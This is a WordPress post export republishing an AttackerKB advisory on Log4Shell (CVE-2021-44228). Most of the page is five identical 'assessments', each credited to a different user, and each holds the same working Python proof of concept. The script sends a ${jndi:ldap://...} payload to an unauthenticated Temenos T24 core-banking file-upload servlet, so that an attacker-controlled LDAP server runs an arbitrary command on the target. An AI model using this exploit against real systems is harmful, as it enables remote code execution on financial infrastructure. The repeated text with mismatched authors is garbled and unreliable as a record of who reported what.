{"id":3117,"date":"2025-05-06T01:01:08","date_gmt":"2025-05-06T01:01:08","guid":{"rendered":"http:\/\/localhost\/?p=3117"},"modified":"2025-05-06T01:01:08","modified_gmt":"2025-05-06T01:01:08","slug":"cve-2021-44228-log4shell","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=3117","title":{"rendered":"CVE-2021-44228 (Log4Shell)"},"content":{"rendered":"<h2>Security Update News<\/h2>\n<h3>Update Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVE-2021-44228 (Log4Shell)<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Update ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">attackerkb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-05T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Last Updated<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-05T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>Security Impact<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">10.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #cc0000; font-weight: bold;\">CRITICAL<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Attack Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NETWORK<\/td>\n<\/tr>\n<\/table>\n<h3>Affected CVEs<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2021-4104<\/li>\n<li>CVE-2021-44228<\/li>\n<li>CVE-2021-45046<\/li>\n<\/ul>\n<\/div>\n<h3>Update Details<\/h3>\n<div style=\"; padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nApache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.<\/p>\n<p>**Recent assessments:**  <\/p>\n<p>**blobla01** at December 21, 2021 1:23am UTC reported:<\/p>\n<p>The vulnerabilities exists in Temenos T24, widely used in core-banking,  <br \/>There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n<p>    package com.temenos.t24browser.servlets;<\/p>\n<p>    public class FileUploadServlet extends HttpServlet {<br \/>    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<br \/>           FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);<br \/>            \/\/truncated<br \/>            if (paramName.equalsIgnoreCase(&#8220;uploadType&#8221;)) {<br \/>                 innerObj.setUploadType(paramValue);<br \/>                 innerObj.setUploadTypeInfoFromT24(); <=<br \/>    \/\/truncated<\/p>\n<p>The uploadType is passed from user input, then passed to the innerObj  <br \/>Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n<p>    private void setUploadTypeInfoFromT24() {<br \/>                try {<br \/>                    String responseXml = FileUploadServlet.this.sendUtilityRequest(&#8220;OS.GET.UPLOAD.TYPE.INFO&#8221;, this.uploadType, this.request);<br \/>                    String uploadTypeInfo = Utils.getNodeFromString(responseXml, &#8220;uploadTypeInfo&#8221;);<br \/>                    if (FileUploadServlet.LOGGER.isDebugEnabled()) {<br \/>                        FileUploadServlet.LOGGER.debug(&#8220;File upload: uploadTypeInfo=&#8221; + uploadTypeInfo);<br \/>                    }<\/p>\n<p>                    if (!uploadTypeInfo.contains(&#8220;<maxFileSize>&#8220;)) {<br \/>                        throw new IllegalArgumentException(&#8220;EB-FILE.UPLOAD.TYPE.NOT.FOUND|&#8221; + this.uploadType + &#8220;|&#8221;); <=<br \/>                    }<br \/>    }<\/p>\n<p>As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),  <br \/>PoC script:<\/p>\n<p>    import requests<br \/>    import base64<br \/>    import sys<\/p>\n<p>    target = sys.argv[1]<br \/>    cmd = base64.b64encode(sys.argv[2])<br \/>    print(&#8220;Attacking &#8221; + target)<br \/>    print(&#8220;Cmd: &#8220;+ sys.argv[2])<br \/>    ldap_url = &#8220;ldap:\/\/<server>:2389\/Deserialization\/ROME\/command\/base64\/&#8221;+cmd<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/BrowserServlet&#8221;<br \/>    burp0_headers = {&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36&#8221;, &#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9&#8221;, &#8220;Referer&#8221;: target + &#8220;\/BrowserWeb\/&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.9&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    ct = requests.get(burp0_url, headers=burp0_headers, verify=False)<br \/>    token = ct.cookies.get(&#8216;JSESSIONID&#8217;)<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/FileUploadServlet&#8221;<br \/>    burp0_cookies = {&#8220;JSESSIONID&#8221;: token}<br \/>    burp0_headers = {&#8220;Cache-Control&#8221;: &#8220;max-age=0&#8221;, &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundarygrfK28lThpyA12GG&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    burp0_data = &#8220;&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\&#8221;uploadType\\&#8221;\\r\\n\\r\\n${jndi:&#8221;+ldap_url+&#8221;}\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG&#8211;\\r\\n&#8221;<br \/>    requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n<p>**AmirFedida** at December 12, 2021 8:47am UTC reported:<\/p>\n<p>The vulnerabilities exists in Temenos T24, widely used in core-banking,  <br \/>There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n<p>    package com.temenos.t24browser.servlets;<\/p>\n<p>    public class FileUploadServlet extends HttpServlet {<br \/>    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<br \/>           FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);<br \/>            \/\/truncated<br \/>            if (paramName.equalsIgnoreCase(&#8220;uploadType&#8221;)) {<br \/>                 innerObj.setUploadType(paramValue);<br \/>                 innerObj.setUploadTypeInfoFromT24(); <=<br \/>    \/\/truncated<\/p>\n<p>The uploadType is passed from user input, then passed to the innerObj  <br \/>Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n<p>    private void setUploadTypeInfoFromT24() {<br \/>                try {<br \/>                    String responseXml = FileUploadServlet.this.sendUtilityRequest(&#8220;OS.GET.UPLOAD.TYPE.INFO&#8221;, this.uploadType, this.request);<br \/>                    String uploadTypeInfo = Utils.getNodeFromString(responseXml, &#8220;uploadTypeInfo&#8221;);<br \/>                    if (FileUploadServlet.LOGGER.isDebugEnabled()) {<br \/>                        FileUploadServlet.LOGGER.debug(&#8220;File upload: uploadTypeInfo=&#8221; + uploadTypeInfo);<br \/>                    }<\/p>\n<p>                    if (!uploadTypeInfo.contains(&#8220;<maxFileSize>&#8220;)) {<br \/>                        throw new IllegalArgumentException(&#8220;EB-FILE.UPLOAD.TYPE.NOT.FOUND|&#8221; + this.uploadType + &#8220;|&#8221;); <=<br \/>                    }<br \/>    }<\/p>\n<p>As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),  <br \/>PoC script:<\/p>\n<p>    import requests<br \/>    import base64<br \/>    import sys<\/p>\n<p>    target = sys.argv[1]<br \/>    cmd = base64.b64encode(sys.argv[2])<br \/>    print(&#8220;Attacking &#8221; + target)<br \/>    print(&#8220;Cmd: &#8220;+ sys.argv[2])<br \/>    ldap_url = &#8220;ldap:\/\/<server>:2389\/Deserialization\/ROME\/command\/base64\/&#8221;+cmd<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/BrowserServlet&#8221;<br \/>    burp0_headers = {&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36&#8221;, &#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9&#8221;, &#8220;Referer&#8221;: target + &#8220;\/BrowserWeb\/&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.9&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    ct = requests.get(burp0_url, headers=burp0_headers, verify=False)<br \/>    token = ct.cookies.get(&#8216;JSESSIONID&#8217;)<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/FileUploadServlet&#8221;<br \/>    burp0_cookies = {&#8220;JSESSIONID&#8221;: token}<br \/>    burp0_headers = {&#8220;Cache-Control&#8221;: &#8220;max-age=0&#8221;, &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundarygrfK28lThpyA12GG&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    burp0_data = &#8220;&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\&#8221;uploadType\\&#8221;\\r\\n\\r\\n${jndi:&#8221;+ldap_url+&#8221;}\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG&#8211;\\r\\n&#8221;<br \/>    requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n<p>**nu11secur1ty** at December 19, 2021 9:49am UTC reported:<\/p>\n<p>The vulnerabilities exists in Temenos T24, widely used in core-banking,  <br \/>There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n<p>    package com.temenos.t24browser.servlets;<\/p>\n<p>    public class FileUploadServlet extends HttpServlet {<br \/>    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<br \/>           FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);<br \/>            \/\/truncated<br \/>            if (paramName.equalsIgnoreCase(&#8220;uploadType&#8221;)) {<br \/>                 innerObj.setUploadType(paramValue);<br \/>                 innerObj.setUploadTypeInfoFromT24(); <=<br \/>    \/\/truncated<\/p>\n<p>The uploadType is passed from user input, then passed to the innerObj  <br \/>Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n<p>    private void setUploadTypeInfoFromT24() {<br \/>                try {<br \/>                    String responseXml = FileUploadServlet.this.sendUtilityRequest(&#8220;OS.GET.UPLOAD.TYPE.INFO&#8221;, this.uploadType, this.request);<br \/>                    String uploadTypeInfo = Utils.getNodeFromString(responseXml, &#8220;uploadTypeInfo&#8221;);<br \/>                    if (FileUploadServlet.LOGGER.isDebugEnabled()) {<br \/>                        FileUploadServlet.LOGGER.debug(&#8220;File upload: uploadTypeInfo=&#8221; + uploadTypeInfo);<br \/>                    }<\/p>\n<p>                    if (!uploadTypeInfo.contains(&#8220;<maxFileSize>&#8220;)) {<br \/>                        throw new IllegalArgumentException(&#8220;EB-FILE.UPLOAD.TYPE.NOT.FOUND|&#8221; + this.uploadType + &#8220;|&#8221;); <=<br \/>                    }<br \/>    }<\/p>\n<p>As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),  <br \/>PoC script:<\/p>\n<p>    import requests<br \/>    import base64<br \/>    import sys<\/p>\n<p>    target = sys.argv[1]<br \/>    cmd = base64.b64encode(sys.argv[2])<br \/>    print(&#8220;Attacking &#8221; + target)<br \/>    print(&#8220;Cmd: &#8220;+ sys.argv[2])<br \/>    ldap_url = &#8220;ldap:\/\/<server>:2389\/Deserialization\/ROME\/command\/base64\/&#8221;+cmd<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/BrowserServlet&#8221;<br \/>    burp0_headers = {&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36&#8221;, &#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9&#8221;, &#8220;Referer&#8221;: target + &#8220;\/BrowserWeb\/&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.9&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    ct = requests.get(burp0_url, headers=burp0_headers, verify=False)<br \/>    token = ct.cookies.get(&#8216;JSESSIONID&#8217;)<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/FileUploadServlet&#8221;<br \/>    burp0_cookies = {&#8220;JSESSIONID&#8221;: token}<br \/>    burp0_headers = {&#8220;Cache-Control&#8221;: &#8220;max-age=0&#8221;, &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundarygrfK28lThpyA12GG&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    burp0_data = &#8220;&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\&#8221;uploadType\\&#8221;\\r\\n\\r\\n${jndi:&#8221;+ldap_url+&#8221;}\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG&#8211;\\r\\n&#8221;<br \/>    requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n<p>**ccondon-r7** at December 10, 2021 6:39pm UTC reported:<\/p>\n<p>The vulnerabilities exists in Temenos T24, widely used in core-banking,  <br \/>There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n<p>    package com.temenos.t24browser.servlets;<\/p>\n<p>    public class FileUploadServlet extends HttpServlet {<br \/>    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<br \/>           FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);<br \/>            \/\/truncated<br \/>            if (paramName.equalsIgnoreCase(&#8220;uploadType&#8221;)) {<br \/>                 innerObj.setUploadType(paramValue);<br \/>                 innerObj.setUploadTypeInfoFromT24(); <=<br \/>    \/\/truncated<\/p>\n<p>The uploadType is passed from user input, then passed to the innerObj  <br \/>Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n<p>    private void setUploadTypeInfoFromT24() {<br \/>                try {<br \/>                    String responseXml = FileUploadServlet.this.sendUtilityRequest(&#8220;OS.GET.UPLOAD.TYPE.INFO&#8221;, this.uploadType, this.request);<br \/>                    String uploadTypeInfo = Utils.getNodeFromString(responseXml, &#8220;uploadTypeInfo&#8221;);<br \/>                    if (FileUploadServlet.LOGGER.isDebugEnabled()) {<br \/>                        FileUploadServlet.LOGGER.debug(&#8220;File upload: uploadTypeInfo=&#8221; + uploadTypeInfo);<br \/>                    }<\/p>\n<p>                    if (!uploadTypeInfo.contains(&#8220;<maxFileSize>&#8220;)) {<br \/>                        throw new IllegalArgumentException(&#8220;EB-FILE.UPLOAD.TYPE.NOT.FOUND|&#8221; + this.uploadType + &#8220;|&#8221;); <=<br \/>                    }<br \/>    }<\/p>\n<p>As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),  <br \/>PoC script:<\/p>\n<p>    import requests<br \/>    import base64<br \/>    import sys<\/p>\n<p>    target = sys.argv[1]<br \/>    cmd = base64.b64encode(sys.argv[2])<br \/>    print(&#8220;Attacking &#8221; + target)<br \/>    print(&#8220;Cmd: &#8220;+ sys.argv[2])<br \/>    ldap_url = &#8220;ldap:\/\/<server>:2389\/Deserialization\/ROME\/command\/base64\/&#8221;+cmd<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/BrowserServlet&#8221;<br \/>    burp0_headers = {&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36&#8221;, &#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9&#8221;, &#8220;Referer&#8221;: target + &#8220;\/BrowserWeb\/&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.9&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    ct = requests.get(burp0_url, headers=burp0_headers, verify=False)<br \/>    token = ct.cookies.get(&#8216;JSESSIONID&#8217;)<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/FileUploadServlet&#8221;<br \/>    burp0_cookies = {&#8220;JSESSIONID&#8221;: token}<br \/>    burp0_headers = {&#8220;Cache-Control&#8221;: &#8220;max-age=0&#8221;, &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundarygrfK28lThpyA12GG&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    burp0_data = &#8220;&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\&#8221;uploadType\\&#8221;\\r\\n\\r\\n${jndi:&#8221;+ldap_url+&#8221;}\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG&#8211;\\r\\n&#8221;<br \/>    requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n<p>**RhinosF1** at December 10, 2021 10:48pm UTC reported:<\/p>\n<p>The vulnerabilities exists in Temenos T24, widely used in core-banking,  <br \/>There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n<p>    package com.temenos.t24browser.servlets;<\/p>\n<p>    public class FileUploadServlet extends HttpServlet {<br \/>    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<br \/>           FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);<br \/>            \/\/truncated<br \/>            if (paramName.equalsIgnoreCase(&#8220;uploadType&#8221;)) {<br \/>                 innerObj.setUploadType(paramValue);<br \/>                 innerObj.setUploadTypeInfoFromT24(); <=<br \/>    \/\/truncated<\/p>\n<p>The uploadType is passed from user input, then passed to the innerObj  <br \/>Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n<p>    private void setUploadTypeInfoFromT24() {<br \/>                try {<br \/>                    String responseXml = FileUploadServlet.this.sendUtilityRequest(&#8220;OS.GET.UPLOAD.TYPE.INFO&#8221;, this.uploadType, this.request);<br \/>                    String uploadTypeInfo = Utils.getNodeFromString(responseXml, &#8220;uploadTypeInfo&#8221;);<br \/>                    if (FileUploadServlet.LOGGER.isDebugEnabled()) {<br \/>                        FileUploadServlet.LOGGER.debug(&#8220;File upload: uploadTypeInfo=&#8221; + uploadTypeInfo);<br \/>                    }<\/p>\n<p>                    if (!uploadTypeInfo.contains(&#8220;<maxFileSize>&#8220;)) {<br \/>                        throw new IllegalArgumentException(&#8220;EB-FILE.UPLOAD.TYPE.NOT.FOUND|&#8221; + this.uploadType + &#8220;|&#8221;); <=<br \/>                    }<br \/>    }<\/p>\n<p>As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),  <br \/>PoC script:<\/p>\n<p>    import requests<br \/>    import base64<br \/>    import sys<\/p>\n<p>    target = sys.argv[1]<br \/>    cmd = base64.b64encode(sys.argv[2])<br \/>    print(&#8220;Attacking &#8221; + target)<br \/>    print(&#8220;Cmd: &#8220;+ sys.argv[2])<br \/>    ldap_url = &#8220;ldap:\/\/<server>:2389\/Deserialization\/ROME\/command\/base64\/&#8221;+cmd<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/BrowserServlet&#8221;<br \/>    burp0_headers = {&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36&#8221;, &#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9&#8221;, &#8220;Referer&#8221;: target + &#8220;\/BrowserWeb\/&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.9&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    ct = requests.get(burp0_url, headers=burp0_headers, verify=False)<br \/>    token = ct.cookies.get(&#8216;JSESSIONID&#8217;)<\/p>\n<p>    burp0_url = target + &#8220;\/BrowserWeb\/servlet\/FileUploadServlet&#8221;<br \/>    burp0_cookies = {&#8220;JSESSIONID&#8221;: token}<br \/>    burp0_headers = {&#8220;Cache-Control&#8221;: &#8220;max-age=0&#8221;, &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;, &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundarygrfK28lThpyA12GG&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>    burp0_data = &#8220;&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\&#8221;uploadType\\&#8221;\\r\\n\\r\\n${jndi:&#8221;+ldap_url+&#8221;}\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundarygrfK28lThpyA12GG&#8211;\\r\\n&#8221;<br \/>    requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n<p>Assessed Attacker Value: 5  <br \/>Assessed Attacker Value: 5Assessed Attacker Value: 5\n<\/div>\n<p><a href=\"https:\/\/attackerkb.com\/topics\/in9sPR2Bzt\/cve-2021-44228-log4shell\" target=\"_blank\" style=\"display: inline-block; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Advisory Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Security Update News Update Information Title CVE-2021-44228 (Log4Shell) Update ID AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94 Type attackerkb Published 2025-05-05T00:00:00 Last Updated 2025-05-05T00:00:00 Security Impact CVSS Score 10.0 Severity CRITICAL&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[103,9,6,8,36,12,13,7,11,5],"class_list":["post-3117","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-attackerkb","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CVE-2021-44228 (Log4Shell) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=3117\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2021-44228 (Log4Shell) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Security Update News Update Information Title CVE-2021-44228 (Log4Shell) Update ID AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94 Type attackerkb Published 2025-05-05T00:00:00 Last Updated 2025-05-05T00:00:00 Security Impact CVSS Score 10.0 Severity CRITICAL...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=3117\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-06T01:01:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"CVE-2021-44228 (Log4Shell)\",\"datePublished\":\"2025-05-06T01:01:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\"},\"wordCount\":234,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"attackerkb\",\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\",\"name\":\"CVE-2021-44228 (Log4Shell) - zero 